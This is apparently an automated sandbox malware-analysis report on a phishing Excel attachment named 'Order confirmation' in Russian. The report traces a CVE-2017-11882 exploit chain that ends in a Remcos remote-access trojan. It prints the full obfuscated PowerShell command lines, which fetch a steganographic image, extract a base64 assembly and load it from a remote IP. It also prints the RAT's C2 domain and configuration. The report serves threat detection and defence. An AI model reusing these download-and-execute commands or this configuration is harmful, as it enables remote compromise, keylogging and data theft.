File name:

Подтверждение заказа.xls

Full analysis: https://app.any.run/tasks/f21d0192-24dd-4c65-873a-057818b39282
Verdict: Malicious activity
Threats:

Remote access trojans (RATs) are a type of malware that enables attackers to establish complete to partial control over infected computers. Such malicious programs often have a modular design, offering a wide range of functionalities for conducting illicit activities on compromised systems. Some of the most common features of RATs include access to the users’ data, webcam, and keystrokes. This malware is often distributed through phishing emails and links.

Malware Trends Tracker     >>>
Analysis date: February 06, 2024, 09:02:36
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
phishing
phishing-xls
exploit
cve-2017-11882
stegocampaign
rat
remcos
remote
Indicators:
MIME: application/vnd.ms-excel
File info: Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.2, Code page: 1252, Name of Creating Application: Microsoft Excel, Create Time/Date: Sat Sep 16 01:00:00 2006, Last Saved Time/Date: Tue Feb 6 05:03:54 2024, Security: 1
MD5:

368188588EC06A0096F2430A2F98001E

SHA1:

C049A051E51692F7AE82326C66A7D2A37A1D7054

SHA256:

91A14852328B337A5AA1046BC7F92448F2C0A3C2EC5A8A76729DE68521FA2A39

SSDEEP:

12288:9KNaTj6GVgbZENI7DtOvZlyp2sINWjkwSNRZf:JTj6Mgb2NIHtOvZly9tAwSN

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Phishing has been detected

      • EXCEL.EXE (PID: 268)

    • Opens an HTTP connection (SCRIPT)

      • wscript.exe (PID: 560)

    • Equation Editor starts application (CVE-2017-11882)

      • EQNEDT32.EXE (PID: 3568)

    • Creates internet connection object (SCRIPT)

      • wscript.exe (PID: 560)

    • Suspicious connection from the Equation Editor

      • EQNEDT32.EXE (PID: 3568)

    • Stego campaign has been detected

      • powershell.exe (PID: 2500)

    • Sends HTTP request (SCRIPT)

      • wscript.exe (PID: 560)

    • Changes powershell execution policy (Bypass)

      • wscript.exe (PID: 560)
      • powershell.exe (PID: 2500)

    • Bypass execution policy to execute commands

      • powershell.exe (PID: 2500)
      • powershell.exe (PID: 2132)

    • Run PowerShell with an invisible window

      • powershell.exe (PID: 2500)
      • powershell.exe (PID: 2132)
      • powershell.exe (PID: 3660)

    • Unusual connection from system programs

      • wscript.exe (PID: 560)

    • REMCOS has been detected (SURICATA)

      • RegAsm.exe (PID: 120)

    • REMCOS has been detected (YARA)

      • RegAsm.exe (PID: 120)

  • SUSPICIOUS

    • Reads the Internet Settings

      • EQNEDT32.EXE (PID: 3568)
      • wscript.exe (PID: 560)
      • powershell.exe (PID: 2132)
      • RegAsm.exe (PID: 120)

    • The process executes VB scripts

      • EQNEDT32.EXE (PID: 3568)

    • Connects to the server without a host name

      • EQNEDT32.EXE (PID: 3568)
      • WINWORD.EXE (PID: 324)
      • powershell.exe (PID: 2132)

    • The process bypasses the loading of PowerShell profile settings

      • wscript.exe (PID: 560)
      • powershell.exe (PID: 2500)

    • Starts POWERSHELL.EXE for commands execution

      • wscript.exe (PID: 560)
      • powershell.exe (PID: 2500)
      • powershell.exe (PID: 2132)

    • Runs shell command (SCRIPT)

      • wscript.exe (PID: 560)

    • Application launched itself

      • powershell.exe (PID: 2500)
      • powershell.exe (PID: 2132)

    • Probably obfuscated PowerShell command line is found

      • wscript.exe (PID: 560)

    • Found IP address in command line

      • powershell.exe (PID: 2132)

    • Probably download files using WebClient

      • powershell.exe (PID: 2500)

    • Unusual connection from system programs

      • powershell.exe (PID: 2132)

    • The Powershell connects to the Internet

      • powershell.exe (PID: 2132)

    • Connects to unusual port

      • RegAsm.exe (PID: 120)

  • INFO

    • Reads the machine GUID from the registry

      • EQNEDT32.EXE (PID: 3568)
      • RegAsm.exe (PID: 120)

    • Reads the computer name

      • EQNEDT32.EXE (PID: 3568)
      • RegAsm.exe (PID: 120)

    • Checks supported languages

      • EQNEDT32.EXE (PID: 3568)
      • RegAsm.exe (PID: 120)

    • Checks proxy server information

      • EQNEDT32.EXE (PID: 3568)
      • RegAsm.exe (PID: 120)

    • Creates files or folders in the user directory

      • EQNEDT32.EXE (PID: 3568)
      • RegAsm.exe (PID: 120)

    • Reads Environment values

      • RegAsm.exe (PID: 120)

    • Manual execution by a user

      • explorer.exe (PID: 2860)
      • notepad++.exe (PID: 3776)

    • Creates files in the program directory

      • powershell.exe (PID: 3660)

    • Reads product name

      • RegAsm.exe (PID: 120)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report

Remcos

(PID) Process(120) RegAsm.exe
C2 (1)top.noforabusers1.xyz:2424
BotnetRemoteHost
Options
Connect_interval1
Install_flagFalse
Install_HKCU\RunTrue
Install_HKLM\RunTrue
Install_HKLM\Explorer\Run1
Install_HKLM\Winlogon\Shell100000
Setup_path%LOCALAPPDATA%
Copy_fileremcos.exe
Startup_valueFalse
Hide_fileFalse
Mutex_nameRmc-M4OLK2
Keylog_flag0
Keylog_path%LOCALAPPDATA%
Keylog_filelogs.dat
Keylog_cryptFalse
Hide_keylogFalse
Screenshot_flagFalse
Screenshot_time5
Take_ScreenshotFalse
Screenshot_path%APPDATA%
Screenshot_fileScreenshots
Screenshot_cryptFalse
Mouse_optionFalse
Delete_fileFalse
Audio_record_time5
Audio_path%ProgramFiles%
Audio_dirMicRecords
Connect_delay0
Copy_dirRemcos
Keylog_dirremcos
No Malware configuration.

TRiD

.xls | Microsoft Excel sheet (48)
.xls | Microsoft Excel sheet (alternate) (39.2)

EXIF

FlashPix

Author: -
LastModifiedBy: -
Software: Microsoft Excel
CreateDate: 2006:09:16 00:00:00
ModifyDate: 2024:02:06 05:03:54
Security: Password protected
CodePage: Windows Latin 1 (Western European)
AppVersion: 12
ScaleCrop: No
LinksUpToDate: No
SharedDoc: No
HyperlinksChanged: No
TitleOfParts:
  • Sheet1
  • Sheet2
  • Sheet3
HeadingPairs:
  • Worksheets
  • 3
CompObjUserTypeLen: 38
CompObjUserType: Microsoft Office Excel 2003 Worksheet
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
57
Monitored processes
10
Malicious processes
5
Suspicious processes
0

Behavior graph

Click at the process to see the details
start excel.exe winword.exe eqnedt32.exe wscript.exe #STEGOCAMPAIGN powershell.exe no specs powershell.exe powershell.exe no specs #REMCOS regasm.exe explorer.exe no specs notepad++.exe

Process information

PID
CMD
Path
Indicators
Parent process
120"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft .NET Assembly Registration Utility
Exit code:
0
Version:
4.8.3761.0 built by: NET48REL1
Modules
Images
c:\windows\microsoft.net\framework\v4.0.30319\regasm.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\advapi32.dll
Remcos
(PID) Process(120) RegAsm.exe
C2 (1)top.noforabusers1.xyz:2424
BotnetRemoteHost
Options
Connect_interval1
Install_flagFalse
Install_HKCU\RunTrue
Install_HKLM\RunTrue
Install_HKLM\Explorer\Run1
Install_HKLM\Winlogon\Shell100000
Setup_path%LOCALAPPDATA%
Copy_fileremcos.exe
Startup_valueFalse
Hide_fileFalse
Mutex_nameRmc-M4OLK2
Keylog_flag0
Keylog_path%LOCALAPPDATA%
Keylog_filelogs.dat
Keylog_cryptFalse
Hide_keylogFalse
Screenshot_flagFalse
Screenshot_time5
Take_ScreenshotFalse
Screenshot_path%APPDATA%
Screenshot_fileScreenshots
Screenshot_cryptFalse
Mouse_optionFalse
Delete_fileFalse
Audio_record_time5
Audio_path%ProgramFiles%
Audio_dirMicRecords
Connect_delay0
Copy_dirRemcos
Keylog_dirremcos
268"C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /ddeC:\Program Files\Microsoft Office\Office14\EXCEL.EXE
explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Excel
Exit code:
0
Version:
14.0.6024.1000
Modules
Images
c:\program files\microsoft office\office14\excel.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\user32.dll
324"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" -EmbeddingC:\Program Files\Microsoft Office\Office14\WINWORD.EXE
svchost.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Word
Exit code:
0
Version:
14.0.6024.1000
Modules
Images
c:\program files\microsoft office\office14\winword.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\winsxs\x86_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.6161_none_50934f2ebcb7eb57\msvcr90.dll
c:\windows\winsxs\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.18837_none_ec86b8d6858ec0bc\comctl32.dll
560"C:\Windows\System32\WScript.exe" "C:\Users\admin\AppData\Roaming\babygirlwalking.vbs" C:\Windows\System32\wscript.exe
EQNEDT32.EXE
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft ® Windows Based Script Host
Exit code:
0
Version:
5.8.7600.16385
Modules
Images
c:\windows\system32\wscript.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
2132"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -Noprofile -command "$imageUrl = 'https://uploaddeimagens.com.br/images/004/731/958/original/new_image.jpg?1707143673';$webClient = New-Object System.Net.WebClient;$imageBytes = $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes);$startFlag = '<<BASE64_START>>';$endFlag = '<<BASE64_END>>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText.IndexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex += $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $imageText.Substring($startIndex, $base64Length);$commandBytes = [System.Convert]::FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes);$type = $loadedAssembly.GetType('PROJETOAUTOMACAO.VB.Home');$method = $type.GetMethod('VAI').Invoke($null, [object[]] ('txt.SSRC/5653/79.712.432.271//:ptth' , '1' , 'C:\ProgramData\' , 'CRSS'))"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
10.0.14409.1005 (rs1_srvoob.161208-1155)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\atl.dll
c:\windows\system32\user32.dll
2500"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$codigo = 'JDgTreBpDgTreG0DgTreYQBnDgTreGUDgTreVQByDgTreGwDgTreIDgTreDgTre9DgTreCDgTreDgTreJwBoDgTreHQDgTredDgTreBwDgTreHMDgTreOgDgTrevDgTreC8DgTredQBwDgTreGwDgTrebwBhDgTreGQDgTreZDgTreBlDgTreGkDgTrebQBhDgTreGcDgTreZQBuDgTreHMDgTreLgBjDgTreG8DgTrebQDgTreuDgTreGIDgTrecgDgTrevDgTreGkDgTrebQBhDgTreGcDgTreZQBzDgTreC8DgTreMDgTreDgTrewDgTreDQDgTreLwDgTre3DgTreDMDgTreMQDgTrevDgTreDkDgTreNQDgTre4DgTreC8DgTrebwByDgTreGkDgTreZwBpDgTreG4DgTreYQBsDgTreC8DgTrebgBlDgTreHcDgTreXwBpDgTreG0DgTreYQBnDgTreGUDgTreLgBqDgTreHDgTreDgTreZwDgTre/DgTreDEDgTreNwDgTrewDgTreDcDgTreMQDgTre0DgTreDMDgTreNgDgTre3DgTreDMDgTreJwDgTre7DgTreCQDgTredwBlDgTreGIDgTreQwBsDgTreGkDgTreZQBuDgTreHQDgTreIDgTreDgTre9DgTreCDgTreDgTreTgBlDgTreHcDgTreLQBPDgTreGIDgTreagBlDgTreGMDgTredDgTreDgTregDgTreFMDgTreeQBzDgTreHQDgTreZQBtDgTreC4DgTreTgBlDgTreHQDgTreLgBXDgTreGUDgTreYgBDDgTreGwDgTreaQBlDgTreG4DgTredDgTreDgTre7DgTreCQDgTreaQBtDgTreGEDgTreZwBlDgTreEIDgTreeQB0DgTreGUDgTrecwDgTregDgTreD0DgTreIDgTreDgTrekDgTreHcDgTreZQBiDgTreEMDgTrebDgTreBpDgTreGUDgTrebgB0DgTreC4DgTreRDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreEQDgTreYQB0DgTreGEDgTreKDgTreDgTrekDgTreGkDgTrebQBhDgTreGcDgTreZQBVDgTreHIDgTrebDgTreDgTrepDgTreDsDgTreJDgTreBpDgTreG0DgTreYQBnDgTreGUDgTreVDgTreBlDgTreHgDgTredDgTreDgTregDgTreD0DgTreIDgTreBbDgTreFMDgTreeQBzDgTreHQDgTreZQBtDgTreC4DgTreVDgTreBlDgTreHgDgTredDgTreDgTreuDgTreEUDgTrebgBjDgTreG8DgTreZDgTreBpDgTreG4DgTreZwBdDgTreDoDgTreOgBVDgTreFQDgTreRgDgTre4DgTreC4DgTreRwBlDgTreHQDgTreUwB0DgTreHIDgTreaQBuDgTreGcDgTreKDgTreDgTrekDgTreGkDgTrebQBhDgTreGcDgTreZQBCDgTreHkDgTredDgTreBlDgTreHMDgTreKQDgTre7DgTreCQDgTrecwB0DgTreGEDgTrecgB0DgTreEYDgTrebDgTreBhDgTreGcDgTreIDgTreDgTre9DgTreCDgTreDgTreJwDgTre8DgTreDwDgTreQgBBDgTreFMDgTreRQDgTre2DgTreDQDgTreXwBTDgTreFQDgTreQQBSDgTreFQDgTrePgDgTre+DgTreCcDgTreOwDgTrekDgTreGUDgTrebgBkDgTreEYDgTrebDgTreBhDgTreGcDgTreIDgTreDgTre9DgTreCDgTreDgTreJwDgTre8DgTreDwDgTreQgBBDgTreFMDgTreRQDgTre2DgTreDQDgTreXwBFDgTreE4DgTreRDgTreDgTre+DgTreD4DgTreJwDgTre7DgTreCQDgTrecwB0DgTreGEDgTrecgB0DgTreEkDgTrebgBkDgTreGUDgTreeDgTreDgTregDgTreD0DgTreIDgTreDgTrekDgTreGkDgTrebQBhDgTreGcDgTreZQBUDgTreGUDgTreeDgTreB0DgTreC4DgTreSQBuDgTreGQDgTreZQB4DgTreE8DgTreZgDgTreoDgTreCQDgTrecwB0DgTreGEDgTrecgB0DgTreEYDgTrebDgTreBhDgTreGcDgTreKQDgTre7DgTreCQDgTreZQBuDgTreGQDgTreSQBuDgTreGQDgTreZQB4DgTreCDgTreDgTrePQDgTregDgTreCQDgTreaQBtDgTreGEDgTreZwBlDgTreFQDgTreZQB4DgTreHQDgTreLgBJDgTreG4DgTreZDgTreBlDgTreHgDgTreTwBmDgTreCgDgTreJDgTreBlDgTreG4DgTreZDgTreBGDgTreGwDgTreYQBnDgTreCkDgTreOwDgTrekDgTreHMDgTredDgTreBhDgTreHIDgTredDgTreBJDgTreG4DgTreZDgTreBlDgTreHgDgTreIDgTreDgTretDgTreGcDgTreZQDgTregDgTreDDgTreDgTreIDgTreDgTretDgTreGEDgTrebgBkDgTreCDgTreDgTreJDgTreBlDgTreG4DgTreZDgTreBJDgTreG4DgTreZDgTreBlDgTreHgDgTreIDgTreDgTretDgTreGcDgTredDgTreDgTregDgTreCQDgTrecwB0DgTreGEDgTrecgB0DgTreEkDgTrebgBkDgTreGUDgTreeDgTreDgTre7DgTreCQDgTrecwB0DgTreGEDgTrecgB0DgTreEkDgTrebgBkDgTreGUDgTreeDgTreDgTregDgTreCsDgTrePQDgTregDgTreCQDgTrecwB0DgTreGEDgTrecgB0DgTreEYDgTrebDgTreBhDgTreGcDgTreLgBMDgTreGUDgTrebgBnDgTreHQDgTreaDgTreDgTre7DgTreCQDgTreYgBhDgTreHMDgTreZQDgTre2DgTreDQDgTreTDgTreBlDgTreG4DgTreZwB0DgTreGgDgTreIDgTreDgTre9DgTreCDgTreDgTreJDgTreBlDgTreG4DgTreZDgTreBJDgTreG4DgTreZDgTreBlDgTreHgDgTreIDgTreDgTretDgTreCDgTreDgTreJDgTreBzDgTreHQDgTreYQByDgTreHQDgTreSQBuDgTreGQDgTreZQB4DgTreDsDgTreJDgTreBiDgTreGEDgTrecwBlDgTreDYDgTreNDgTreBDDgTreG8DgTrebQBtDgTreGEDgTrebgBkDgTreCDgTreDgTrePQDgTregDgTreCQDgTreaQBtDgTreGEDgTreZwBlDgTreFQDgTreZQB4DgTreHQDgTreLgBTDgTreHUDgTreYgBzDgTreHQDgTrecgBpDgTreG4DgTreZwDgTreoDgTreCQDgTrecwB0DgTreGEDgTrecgB0DgTreEkDgTrebgBkDgTreGUDgTreeDgTreDgTresDgTreCDgTreDgTreJDgTreBiDgTreGEDgTrecwBlDgTreDYDgTreNDgTreBMDgTreGUDgTrebgBnDgTreHQDgTreaDgTreDgTrepDgTreDsDgTreJDgTreBjDgTreG8DgTrebQBtDgTreGEDgTrebgBkDgTreEIDgTreeQB0DgTreGUDgTrecwDgTregDgTreD0DgTreIDgTreBbDgTreFMDgTreeQBzDgTreHQDgTreZQBtDgTreC4DgTreQwBvDgTreG4DgTredgBlDgTreHIDgTredDgTreBdDgTreDoDgTreOgBGDgTreHIDgTrebwBtDgTreEIDgTreYQBzDgTreGUDgTreNgDgTre0DgTreFMDgTredDgTreByDgTreGkDgTrebgBnDgTreCgDgTreJDgTreBiDgTreGEDgTrecwBlDgTreDYDgTreNDgTreBDDgTreG8DgTrebQBtDgTreGEDgTrebgBkDgTreCkDgTreOwDgTrekDgTreGwDgTrebwBhDgTreGQDgTreZQBkDgTreEEDgTrecwBzDgTreGUDgTrebQBiDgTreGwDgTreeQDgTregDgTreD0DgTreIDgTreBbDgTreFMDgTreeQBzDgTreHQDgTreZQBtDgTreC4DgTreUgBlDgTreGYDgTrebDgTreBlDgTreGMDgTredDgTreBpDgTreG8DgTrebgDgTreuDgTreEEDgTrecwBzDgTreGUDgTrebQBiDgTreGwDgTreeQBdDgTreDoDgTreOgBMDgTreG8DgTreYQBkDgTreCgDgTreJDgTreBjDgTreG8DgTrebQBtDgTreGEDgTrebgBkDgTreEIDgTreeQB0DgTreGUDgTrecwDgTrepDgTreDsDgTreJDgTreB0DgTreHkDgTrecDgTreBlDgTreCDgTreDgTrePQDgTregDgTreCQDgTrebDgTreBvDgTreGEDgTreZDgTreBlDgTreGQDgTreQQBzDgTreHMDgTreZQBtDgTreGIDgTrebDgTreB5DgTreC4DgTreRwBlDgTreHQDgTreVDgTreB5DgTreHDgTreDgTreZQDgTreoDgTreCcDgTreUDgTreBSDgTreE8DgTreSgBFDgTreFQDgTreTwBBDgTreFUDgTreVDgTreBPDgTreE0DgTreQQBDDgTreEEDgTreTwDgTreuDgTreFYDgTreQgDgTreuDgTreEgDgTrebwBtDgTreGUDgTreJwDgTrepDgTreDsDgTreJDgTreBtDgTreGUDgTredDgTreBoDgTreG8DgTreZDgTreDgTregDgTreD0DgTreIDgTreDgTrekDgTreHQDgTreeQBwDgTreGUDgTreLgBHDgTreGUDgTredDgTreBNDgTreGUDgTredDgTreBoDgTreG8DgTreZDgTreDgTreoDgTreCcDgTreVgBBDgTreEkDgTreJwDgTrepDgTreC4DgTreSQBuDgTreHYDgTrebwBrDgTreGUDgTreKDgTreDgTrekDgTreG4DgTredQBsDgTreGwDgTreLDgTreDgTregDgTreFsDgTrebwBiDgTreGoDgTreZQBjDgTreHQDgTreWwBdDgTreF0DgTreIDgTreDgTreoDgTreCcDgTredDgTreB4DgTreHQDgTreLgBTDgTreFMDgTreUgBDDgTreC8DgTreNQDgTre2DgTreDUDgTreMwDgTrevDgTreDcDgTreOQDgTreuDgTreDcDgTreMQDgTreyDgTreC4DgTreNDgTreDgTrezDgTreDIDgTreLgDgTreyDgTreDcDgTreMQDgTrevDgTreC8DgTreOgBwDgTreHQDgTredDgTreBoDgTreCcDgTreIDgTreDgTresDgTreCDgTreDgTreJwDgTrexDgTreCcDgTreIDgTreDgTresDgTreCDgTreDgTreJwBDDgTreDoDgTreXDgTreBQDgTreHIDgTrebwBnDgTreHIDgTreYQBtDgTreEQDgTreYQB0DgTreGEDgTreXDgTreDgTrenDgTreCDgTreDgTreLDgTreDgTregDgTreCcDgTreQwBSDgTreFMDgTreUwDgTrenDgTreCkDgTreKQDgTre=';$oWjuxd = [system.Text.encoding]::Unicode.GetString([system.convert]::Frombase64string( $codigo.replace('DgTre','A') ));powershell.exe -windowstyle hidden -executionpolicy bypass -Noprofile -command $OWjuxD"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
wscript.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
10.0.14409.1005 (rs1_srvoob.161208-1155)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\atl.dll
c:\windows\system32\user32.dll
2860"C:\Windows\explorer.exe" C:\Windows\explorer.exe—explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Explorer
Exit code:
1
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\explorer.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\user32.dll
3568"C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -EmbeddingC:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
svchost.exe
User:
admin
Company:
Design Science, Inc.
Integrity Level:
MEDIUM
Description:
Microsoft Equation Editor
Exit code:
0
Version:
00110900
Modules
Images
c:\program files\common files\microsoft shared\equation\eqnedt32.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\advapi32.dll
3660"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden Copy-Item -Path *.vbs -Destination C:\ProgramData\CRSS.vbsC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe—powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
10.0.14409.1005 (rs1_srvoob.161208-1155)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\atl.dll
c:\windows\system32\user32.dll
3776"C:\Program Files\Notepad++\notepad++.exe" "C:\Users\admin\Downloads\Подтверждение заказа.xlsx"C:\Program Files\Notepad++\notepad++.exe
explorer.exe
User:
admin
Company:
Don HO don.h@free.fr
Integrity Level:
MEDIUM
Description:
Notepad++ : a free (GNU) source code editor
Exit code:
0
Version:
7.91
Modules
Images
c:\program files\notepad++\notepad++.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\winsxs\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.24483_none_2b200f664577e14b\comctl32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\user32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
Total events
18 389
Read events
17 796
Write events
524
Delete events
69

Modification events

(PID) Process:(268) EXCEL.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:writeName:1033
Value:
On
(PID) Process:(268) EXCEL.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:writeName:1041
Value:
On
(PID) Process:(268) EXCEL.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:writeName:1046
Value:
On
(PID) Process:(268) EXCEL.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:writeName:1036
Value:
On
(PID) Process:(268) EXCEL.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:writeName:1031
Value:
On
(PID) Process:(268) EXCEL.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:writeName:1040
Value:
On
(PID) Process:(268) EXCEL.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:writeName:1049
Value:
On
(PID) Process:(268) EXCEL.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:writeName:3082
Value:
On
(PID) Process:(268) EXCEL.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:writeName:1042
Value:
On
(PID) Process:(268) EXCEL.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:writeName:1055
Value:
On
Executable files
1
Suspicious files
34
Text files
7
Unknown types
0

Dropped files

PID
Process
Filename
Type
268EXCEL.EXEC:\Users\admin\AppData\Local\Temp\CVR3676.tmp.cvr —
MD5:—
SHA256:—
324WINWORD.EXEC:\Users\admin\AppData\Local\Temp\CVR3BE5.tmp.cvr —
MD5:—
SHA256:—
324WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Office\14.0\OfficeFileCache\FSD-CNRY.FSDbinary
MD5:62074B2507C8820F63FCD389F9856098
SHA256:2ABAAF9C2F6AC06B25404E5C858175B0627D1339FFB8FBCF73A6C731005D9EB7
268EXCEL.EXEC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\23CD130F.emfemf
MD5:4D59A7E93170340B5EC4009F7FA3AD31
SHA256:83473215E5C2160333AA92EA7F9B1276D8ED7DD66AFC472DC92C88055D189D7D
324WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Office\14.0\OfficeFileCache\FSD-{171EE509-D672-4CF6-B76B-778D6B87957F}.FSDbinary
MD5:1B775BC5408935979DA5CDCBEACC64F3
SHA256:FD6EF38A00F352B24CDCAAAC54B2B4A393CC7A34904BA4754771326422BE781D
324WINWORD.EXEC:\Users\admin\AppData\Local\Temp\{3A7DBCB3-1CCB-4AF4-87A0-A617F7A66DFC}binary
MD5:4BA7EAC4F8148238584857F7089E5D1C
SHA256:8FD0FEAC85CD77E3652D578E18B169B24842AE0184A5B6A5079581CDD8E2DA7C
324WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Office\14.0\OfficeFileCache\LocalCacheFileEditManager\FSD-CNRY.FSDbinary
MD5:4BA7EAC4F8148238584857F7089E5D1C
SHA256:8FD0FEAC85CD77E3652D578E18B169B24842AE0184A5B6A5079581CDD8E2DA7C
324WINWORD.EXEC:\Users\admin\AppData\Local\Temp\{F3F3C566-6DAD-46C6-A765-111AC7153D94}binary
MD5:62074B2507C8820F63FCD389F9856098
SHA256:2ABAAF9C2F6AC06B25404E5C858175B0627D1339FFB8FBCF73A6C731005D9EB7
324WINWORD.EXEC:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotmbinary
MD5:4CDBEEC89CA14F62EA947720F29D536A
SHA256:4D7D0F1FBE3539A9B32335B5450DEFCC78E60D172E13B07F7682EB029033534A
